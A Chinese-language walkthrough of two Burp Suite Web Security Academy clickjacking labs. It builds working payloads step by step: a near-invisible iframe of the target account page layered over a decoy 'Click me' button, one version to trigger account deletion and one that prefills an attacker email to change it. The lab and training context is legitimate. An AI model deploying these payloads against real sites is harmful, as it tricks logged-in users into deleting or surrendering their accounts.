例如手机 app 弹窗广告,明明点击的是❌,但是还是进行垃圾应用下载了。因为这个❌只是表明显示,底层本来就是下载。骗用户进行点击。
burpsuite 靶场
通关可以参考: https://developer.aliyun.com/article/1159326
LAB:Basic clickjacking with CSRF token protection
以靶场为例,如果这个页面存在点击劫持漏洞,那么当用户登录以后,我们诱导他到我们伪造好的页面,让他点击页面中的按钮,例如这个按钮上面写着 点击领福利,但实际上这个按钮底层是删除账户,当用户点击后,账户就被删除了。

添加 iframe 标签并将 src 属性值设置为存在漏洞的网站地址,这里如果不设置样式,先看效果,点击 View exploit

可以看到,这个页面很不对劲,只有狭小的一个窗口,所以,才需要添加 CSS 样式,让我们页面更加逼近真实的网页。

现在添加一些样式
<style>
iframe {
position:relative;
width:1000px;
height: 700px;
opacity: 0.2;
z-index: 2;
}
</style>
/* 这个 CSS 样式将一个 iframe 元素设置为:固定尺寸 1000×700 像素,采用相对定位并保留在文档流中,堆叠层级设为 2(中等偏上),不透明度仅 0.2(几乎全透明) */

然后,在看一看效果。页面变大了,按钮都显示出来了,同时还变淡了。在实际攻击里面,这个页面几乎是透明的,不会让用户看出来,这里是为了演示,暂时将不透明度 opacity: 0.2 没有拉满。
这里的 delete 功能是正常的,接下来就是在伪造一个按钮,诱导用户点击。

添加一个按钮,然后设置样式

查看页面效果,差点意思,我们需要让添加的 Get Bonus 按钮,覆盖掉 delete 按钮,也就是页面当中的 1 覆盖 2。在调整一下样式。

将我们添加的按钮样式修改一下,达成下面的效果就好了
div {
position:absolute;
top:510px;
left:60px;
z-index: 1;
}

最后,将 iframe 标签的透明度调整一下,
iframe {
position:relative;
width:1000px;
height: 700px;
opacity: 0.000001; /* 取值范围 0~1,0 完全透明,1 完全不透明。数值越小,越好*/
z-index: 2;
}
页面上肉眼只看到 Get Bonus 这个按钮,其他的都看不见了,但实际上还在,只是看不见而已。
如果将这个页面让受害者访问,用户点击了 Get Bonus 按钮,那账户就删除了(前提是用户已经登录了原网站)

然后发送给受害者即可。
注意:burpsuite 的这个靶场想要通过,必须把按钮改为 <div>Click me</div>,换其他的还不行

如果是真实的点击劫持,伪造的页面会很真实,这里只是靶场演示,所以只有一个按钮。
LAB:Clickjacking with form input data prefilled from a URL parameter

查看效果

最终 payload
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.0000001;
z-index: 2;
}
div {
position:absolute;
top:480px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a3600c0043ba1ba800a49dc00370015.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>